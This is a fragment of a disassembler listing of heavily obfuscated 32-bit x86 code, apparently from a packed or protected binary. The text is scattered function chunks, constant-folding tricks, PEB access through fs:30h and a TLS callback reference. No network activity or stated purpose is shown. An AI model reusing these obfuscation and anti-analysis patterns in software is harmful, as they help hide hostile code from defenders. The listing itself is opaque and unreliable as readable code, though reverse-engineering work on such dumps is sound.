edx, 0D33C6E0Ch ; =============== S U B R O U T I N E ======================================= sub_42606D proc near ; CODE XREF: sub_42D1A8-B4Dp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004243F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042444C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425A40 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428D3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429561 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429599 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B507 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC45 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E8FD SIZE 00000013 BYTES mov [esp+0], edi pop edi adc edx, [esp-4+arg_4] add esp, 8 mov [ebp-4], eax push 0EBE66D80h pop eax jmp loc_425A40 sub_42606D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426086 proc near ; CODE XREF: sub_42826A+6B6Dp ; wto1jq8f:0042FF2Aj xchg edi, [esp+0] pop edi add eax, 7A0357DCh push offset loc_424A23 jmp nullsub_235 sub_426086 endp ; =============== S U B R O U T I N E ======================================= sub_42609A proc near ; CODE XREF: sub_42F304j ; DATA XREF: sub_429BFF+56F0o ; FUNCTION CHUNK AT 00428933 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E863 SIZE 00000012 BYTES mov eax, [ebp-8] push edx push 0D88E3D38h pop edx jmp loc_428933 sub_42609A endp ; =============== S U B R O U T I N E ======================================= sub_4260A9 proc near ; CODE XREF: sub_425CE2+Ep ; sub_42750A+B1Fj ; FUNCTION CHUNK AT 00428688 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429861 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429C79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC9D SIZE 00000017 BYTES xchg eax, [esp+0] pop eax add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_42FC85 jmp loc_429C79 sub_4260A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4260BF: ; CODE XREF: sub_429471+2EFCj jnp loc_424958 loc_4260C5: ; CODE XREF: sub_429471:loc_42CD28j push 75500D9Dh add [esp+4+var_4], 8AAFF263h push offset loc_42B089 jmp loc_429612 ; END OF FUNCTION CHUNK FOR sub_429471 ; =============== S U B R O U T I N E ======================================= sub_4260DB proc near ; DATA XREF: sub_42A59B+3o ; FUNCTION CHUNK AT 00425D4A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C8A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426DE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284C9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004288B6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B8BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C238 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042D54B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D98D SIZE 00000005 BYTES add esp, 0FFFFFD38h push 7D85B001h pop eax or eax, 46E51604h jnz loc_42B8BB loc_4260F3: ; CODE XREF: sub_42A197-383Aj ; sub_42AA68+4D7Fj ... jno loc_426C8A lea eax, [ebp-20h] mov dword ptr [eax], 70736957h lea eax, [ebp-1Ch] mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] jmp loc_42D98D sub_4260DB endp ; --------------------------------------------------------------------------- cdq jmp loc_426068 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_426119: ; CODE XREF: sub_42A617-429Aj setz al jmp loc_42F221 ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_426121: ; CODE XREF: sub_426968:loc_4275E2j mov eax, [ebp+8] call sub_42FBFD loc_426129: ; CODE XREF: sub_429642+1j jmp loc_424FD1 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42612E: ; CODE XREF: wto1jq8f:00427713j jmp locret_42A2AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_426133: ; CODE XREF: sub_42669E+8207j js loc_427886 xor ebp, 6EC8B4EEh jmp loc_426706 ; END OF FUNCTION CHUNK FOR sub_42669E ; =============== S U B R O U T I N E ======================================= sub_426144 proc near ; CODE XREF: sub_42C486:loc_4240CDp ; wto1jq8f:00427AF4j ... arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00424294 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042431F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424370 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424B98 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424CE8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004277B4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428323 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428361 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429454 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429690 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C1D6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CB08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D0F2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D989 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042DDCC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DF9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F2B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F680 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042F876 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F8FF SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042FD3D SIZE 00000005 BYTES mov [esp+0], ebx pop ebx mov eax, large fs:30h add eax, 20h mov eax, [eax] jmp loc_42DDCC sub_426144 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_426159: ; CODE XREF: sub_4283CC:loc_42C97Dj jnz loc_42F104 jmp loc_42D60D ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_426164: ; CODE XREF: sub_429BD3+56B8j mov eax, edx ; END OF FUNCTION CHUNK FOR sub_429BD3 ; =============== S U B R O U T I N E ======================================= sub_426166 proc near ; CODE XREF: sub_424DA0+6p ; FUNCTION CHUNK AT 0042BEAE SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_42CAE0 push offset loc_42DA7A jmp loc_42BEAE sub_426166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42617A: ; CODE XREF: sub_425944:loc_42E882j jle loc_4245A1 mov eax, [ebp-4] xor edx, edx call sub_42F135 ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= sub_42618A proc near ; CODE XREF: wto1jq8f:0042593Fj ; wto1jq8f:loc_42A9A1p xchg esi, [esp+0] pop esi push edi push 7A4D9B05h pop edi or edi, 5AB9FECDh add edi, 8544AD17h jmp loc_428FBC sub_42618A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_4261A6: ; CODE XREF: sub_429D2E+1F88j add eax, 90C05E38h push 0BE36BFAAh loc_4261B1: ; CODE XREF: sub_429D2E:loc_42EAB5j mov eax, 100h push edx jmp loc_429CD2 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_4261BC: ; CODE XREF: sub_426E98:loc_42E5DCj push ecx push offset sub_42D753 jmp loc_42EA2C ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_4261C7: ; CODE XREF: wto1jq8f:loc_4281D8j jz loc_425F61 jmp loc_42A6B1 ; --------------------------------------------------------------------------- loc_4261D2: ; CODE XREF: wto1jq8f:loc_42B146j jz loc_425D8B jmp loc_426A4F ; --------------------------------------------------------------------------- mov edx, 0BE8CE1B7h call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 ; START OF FUNCTION CHUNK FOR sub_427143 loc_4261EE: ; CODE XREF: sub_427143+475Ej jz loc_425BE9 jmp loc_42E7AB ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_4261F9: ; DATA XREF: sub_429AE8-4EC4o add eax, 6F78DD96h mov eax, [eax] push eax push edx push 5C60876Ah pop edx or edx, 0D3E51FA1h add edx, 205CE1CAh jmp loc_42AC67 ; =============== S U B R O U T I N E ======================================= sub_42621A proc near ; CODE XREF: wto1jq8f:0042B7FFj ; wto1jq8f:0042BF26p ; FUNCTION CHUNK AT 0042C0AF SIZE 00000012 BYTES xchg eax, [esp+0] pop eax push eax mov eax, [ebp+8] jmp loc_42C0AF sub_42621A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D7 loc_426227: ; CODE XREF: sub_4243D7:loc_42A63Dj add eax, 0A462A551h xchg eax, [esp+8+var_8] add [esp+8+var_8], 5B9D5EB9h call sub_4295AA push eax call sub_42E833 jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_4243D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_426247: ; CODE XREF: sub_429D2E+6198j jb loc_428C7D loc_42624D: ; CODE XREF: sub_429D2E:loc_428D27j push edi push 0FDB07888h pop edi rol edi, 3 jmp loc_42F36A ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_42625C: ; CODE XREF: sub_42C0DF:loc_42FF8Bj push offset loc_42B7B8 jmp nullsub_196 ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- loc_426266: ; CODE XREF: wto1jq8f:00424F64j div dword ptr [ebp-8] mov [ebp-0Ch], edx jmp loc_42EE6E ; --------------------------------------------------------------------------- loc_426271: ; CODE XREF: wto1jq8f:0042BFD5j rol edx, 5 add edx, esp rol edx, 5 mov [ebp-4], edx jmp loc_424AF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_426281: ; CODE XREF: sub_42B276-242Ej jz loc_4281AB jmp loc_427101 ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_42628C proc near ; CODE XREF: wto1jq8f:0042D0AEj ; sub_42459B:loc_42D403p ; FUNCTION CHUNK AT 00424714 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B823 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042CCC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CF73 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D14A SIZE 00000011 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] movzx eax, byte ptr [eax] shr eax, 1 cmp eax, 66h jnz loc_42CF73 jmp loc_42B823 sub_42628C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_4262A6: ; CODE XREF: sub_42CB63:loc_426E89j call sub_42CD35 ; END OF FUNCTION CHUNK FOR sub_42CB63 ; START OF FUNCTION CHUNK FOR sub_424BAC loc_4262AB: ; CODE XREF: sub_424BAC+14j jmp loc_4275E2 ; END OF FUNCTION CHUNK FOR sub_424BAC ; --------------------------------------------------------------------------- loc_4262B0: ; CODE XREF: wto1jq8f:0042925Ej jg loc_4284A6 and ecx, 0CD442F90h shr eax, 1Ch xor eax, ebx jmp loc_42DE3B ; --------------------------------------------------------------------------- shl esi, 12h jmp loc_427A4D ; =============== S U B R O U T I N E ======================================= sub_4262CE proc near ; CODE XREF: wto1jq8f:0042DD4Ap ; wto1jq8f:0042F431j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424154 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424DEC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426BE5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00426CB3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004279D2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042817E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429363 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AE10 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042BA30 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C9F7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FDAE SIZE 00000013 BYTES mov [esp+0], ebx pop ebx mov [esp-4+arg_0], eax mov eax, [ebp-8] push eax call sub_42FB2F jmp loc_42FDAE sub_4262CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_4262E3: ; CODE XREF: sub_424585:loc_428840j call sub_42E6D9 mov eax, [ebp+var_4] push offset sub_42E6D5 jmp loc_425A31 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_4262F5 proc near ; CODE XREF: wto1jq8f:004264BAj ; sub_42F2C7:loc_42B698p arg_4 = dword ptr 8 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0042475C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004248DF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00425F41 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004273E5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004293BB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004298ED SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00429D23 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B11F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E9B8 SIZE 00000016 BYTES xchg ebx, [esp-8+arg_4] pop ebx push 4A032D73h pop eax add eax, 0B5FCD28Eh xor edx, edx jmp loc_4298ED sub_4262F5 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC85 loc_42630E: ; CODE XREF: sub_42FC85-67C3j jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_42FC85 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426313 proc near ; CODE XREF: sub_42DFE5j ; FUNCTION CHUNK AT 00424276 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004268BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271F6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427660 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428BDF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429160 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004296DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B096 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DC52 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_427660 sub_426313 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 0CAAB96A5h call sub_425B46 ; START OF FUNCTION CHUNK FOR sub_42FE77 loc_426328: ; CODE XREF: sub_42FE77-9964j jmp loc_42ADBC ; END OF FUNCTION CHUNK FOR sub_42FE77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_42632D: ; CODE XREF: sub_4264F4:loc_42D3B4j rol edx, 1Bh and edx, 0A80E9ECCh call sub_429281 ; END OF FUNCTION CHUNK FOR sub_4264F4 ; START OF FUNCTION CHUNK FOR sub_427A30 loc_42633B: ; CODE XREF: sub_427A30-42j jz loc_42AF4C loc_426341: ; CODE XREF: wto1jq8f:0042860Bj jmp loc_4244C3 ; END OF FUNCTION CHUNK FOR sub_427A30 ; --------------------------------------------------------------------------- ror ecx, 1Dh jmp loc_42AF40 ; --------------------------------------------------------------------------- loc_42634E: ; CODE XREF: wto1jq8f:0042B084j sbb edx, ebx ; =============== S U B R O U T I N E ======================================= sub_426350 proc near ; CODE XREF: sub_42A35F+Ap ; FUNCTION CHUNK AT 004278D6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427C8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F95 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042E9D4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042FC72 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042FD7E SIZE 0000000E BYTES mov [esp+0], ecx pop ecx xor eax, eax mov [ebp-0Ch], eax jmp loc_429F95 sub_426350 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42635E: ; CODE XREF: wto1jq8f:00426019j push offset loc_424988 jmp loc_425B1F ; --------------------------------------------------------------------------- loc_426368: ; CODE XREF: wto1jq8f:0042AA7Aj test esi, ebx jmp loc_42B5F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42636F: ; CODE XREF: sub_42A617+Ej mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jmp loc_426119 ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- locret_426382: ; CODE XREF: wto1jq8f:0042D46Ej retn ; --------------------------------------------------------------------------- loc_426383: ; CODE XREF: wto1jq8f:0042D2D8j jmp loc_42AB67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DDE6 loc_426388: ; CODE XREF: sub_42DDE6-28A8j jmp sub_4243D7 ; END OF FUNCTION CHUNK FOR sub_42DDE6 ; --------------------------------------------------------------------------- loc_42638D: ; CODE XREF: wto1jq8f:00428959j jmp loc_42802E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F23 loc_426392: ; CODE XREF: sub_424F23+9j add edx, ebx rol edx, 5 xor edx, ecx rol edx, 5 push offset loc_427E3A jmp loc_4269E5 ; END OF FUNCTION CHUNK FOR sub_424F23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_4263A6: ; CODE XREF: sub_42AECE:loc_424417j ; DATA XREF: wto1jq8f:00424378o pop ebp ; END OF FUNCTION CHUNK FOR sub_42AECE ; START OF FUNCTION CHUNK FOR sub_426535 loc_4263A7: ; CODE XREF: sub_426535:loc_425043j call sub_426D4F loc_4263AC: ; CODE XREF: wto1jq8f:00424894j mov edi, eax jmp loc_42A43D ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263B3 proc near ; CODE XREF: sub_429B76:loc_427246p ; sub_424F7A:loc_42D3E8j ; FUNCTION CHUNK AT 004246B4 SIZE 00000010 BYTES push ebp mov ebp, esp add esp, 0FFFFFF90h push ebx push 3E6B4EA4h pop ebx or ebx, 104BFFC1h jmp loc_4246B4 sub_4263B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427674 loc_4263CB: ; CODE XREF: sub_427674+12j mov esp, ebp mov ebp, offset nullsub_193 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_427674 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4263D7 proc near ; CODE XREF: wto1jq8f:00427D32j ; wto1jq8f:loc_42F3B6p mov [esp+0], ecx pop ecx mov ds:dword_42CAEC, eax retn sub_4263D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4263E2: ; CODE XREF: wto1jq8f:00428F0Cj jmp locret_42B20F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4263E7: ; CODE XREF: sub_426950:loc_4248CDj ; sub_42A88D+Ej ror eax, 0Bh push eax jmp loc_42597B ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- push 0 push 80h push 0CB0E4E5Ah xor dword ptr [esp], 0CB0E4E59h push ecx pushf push 2FA80D1Dh pop ecx jmp loc_429E83 ; --------------------------------------------------------------------------- locret_426410: ; CODE XREF: wto1jq8f:0042DB76j retn ; --------------------------------------------------------------------------- cdq jmp sub_42E4EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_426417: ; CODE XREF: sub_42C0D7-1BFDj jz sub_42FF03 jmp loc_42F665 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_426422: ; CODE XREF: sub_42D789-5F9Aj pushf jns loc_42ADBC sub esi, edi push edi jmp loc_42A34B ; END OF FUNCTION CHUNK FOR sub_42D789 ; --------------------------------------------------------------------------- locret_426431: ; CODE XREF: wto1jq8f:00429C80j retn ; --------------------------------------------------------------------------- loc_426432: ; CODE XREF: wto1jq8f:0042847Fj jmp loc_42F396 ; =============== S U B R O U T I N E ======================================= sub_426437 proc near ; CODE XREF: sub_42CF00+4p call sub_425C40 loc_42643C: ; CODE XREF: sub_42D789-342Fj jmp loc_4287C2 sub_426437 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426442: ; CODE XREF: wto1jq8f:0042AC90j jmp loc_42E1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_426447: ; CODE XREF: sub_42AAC3-4CDFj ror eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42644C: ; CODE XREF: sub_426C0C+7EDCj jmp loc_42F0C4 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_426451: ; CODE XREF: sub_42C4E2-2136j jmp loc_429417 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; =============== S U B R O U T I N E ======================================= sub_426456 proc near ; CODE XREF: sub_4240DC+1BFCp ; FUNCTION CHUNK AT 00426ACF SIZE 00000005 BYTES push ebp push offset loc_424D40 jmp loc_426ACF sub_426456 endp ; =============== S U B R O U T I N E ======================================= sub_426461 proc near ; CODE XREF: sub_425E35:loc_429C4Ap ; wto1jq8f:0042F3D6j ; FUNCTION CHUNK AT 0042E98E SIZE 00000005 BYTES xchg esi, [esp+0] pop esi jz loc_42F9B4 call sub_42B5E4 jnz loc_42F9B4 mov eax, ebx jmp loc_42E98E sub_426461 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42647D: ; CODE XREF: sub_425E35:loc_42E0A8j mov ecx, [ebx+3Ch] jmp loc_42F46F ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_426485: ; CODE XREF: sub_42DB52-31A6j jns loc_42C48A pushf xor edi, 9696EDEh loc_426492: ; CODE XREF: sub_42DB52:loc_427F0Fj push offset sub_42506F jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; =============== S U B R O U T I N E ======================================= sub_42649C proc near ; DATA XREF: sub_426968+A24o mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 sub_42649C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426968 loc_4264A3: ; CODE XREF: sub_42BB8A:loc_427723j ; sub_426968+4C51j jns loc_428C1B mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_42B7DC ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- add ebx, 610D472Dh jmp sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_4264C0: ; CODE XREF: sub_42660F:loc_425EE9j mov ebp, esp call sub_42E337 locret_4264C7: ; CODE XREF: wto1jq8f:0042DDC7j retn ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- loc_4264C8: ; CODE XREF: wto1jq8f:0042B07Cj jmp loc_42A658 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4264CE: ; CODE XREF: sub_426968+7655j shl eax, 0Ah add [ebp-8], eax push offset sub_42BB8A jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_4264DE: ; CODE XREF: wto1jq8f:00424F98j sbb ebp, ecx xor esi, ebp adc edi, esi loc_4264E4: ; CODE XREF: wto1jq8f:loc_4245E9j call sub_4264F4 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4264EA: ; CODE XREF: sub_426968+62B7j jmp sub_42D765 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C9F loc_4264EF: ; CODE XREF: sub_426C9F+Fj jmp nullsub_244 ; END OF FUNCTION CHUNK FOR sub_426C9F ; =============== S U B R O U T I N E ======================================= sub_4264F4 proc near ; CODE XREF: sub_42A909-68C9j ; wto1jq8f:loc_4264E4p ; FUNCTION CHUNK AT 0042632D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D3B4 SIZE 00000005 BYTES push edx push 0B8BDB086h pop edx jmp loc_42D3B4 sub_4264F4 endp ; --------------------------------------------------------------------------- loc_426500: ; CODE XREF: wto1jq8f:0042B204j ; DATA XREF: TlsCallback_0+2C60o xchg eax, [esp] jmp nullsub_246 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FE77 loc_426508: ; CODE XREF: sub_42FE77:loc_427A2Bj add edx, 3D9A6F48h mov al, [edx] pop edx loc_426511: ; CODE XREF: wto1jq8f:loc_42761Ej mov esp, ebp jmp loc_426328 ; END OF FUNCTION CHUNK FOR sub_42FE77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_426518: ; CODE XREF: sub_424406+AA38j pushf jmp loc_42D1BE ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- loc_42651E: ; CODE XREF: wto1jq8f:00424E03j not ecx pushf adc ecx, 0F0A4BA28h ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_426527: ; CODE XREF: sub_42A0E5:loc_424DF7j add ebx, 8082DF7Ah xchg ebx, [esp+0] jmp loc_42CAFC ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; =============== S U B R O U T I N E ======================================= sub_426535 proc near ; CODE XREF: sub_42DEFF-349Dp ; wto1jq8f:0042BC56j var_1C = dword ptr -1Ch var_14 = dword ptr -14h ; FUNCTION CHUNK AT 00424051 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042416B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424201 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042432A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042492E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424CBF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425043 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00425A8C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004263A7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004265DB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042677D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426895 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004268F1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426FF5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042710C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042728A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004277FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ABC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427EA1 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00427F39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427FE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282B5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004283AE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428651 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428D94 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00429337 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429570 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429603 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429A4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B06 SIZE 00000007 BYTES ; FUNCTION 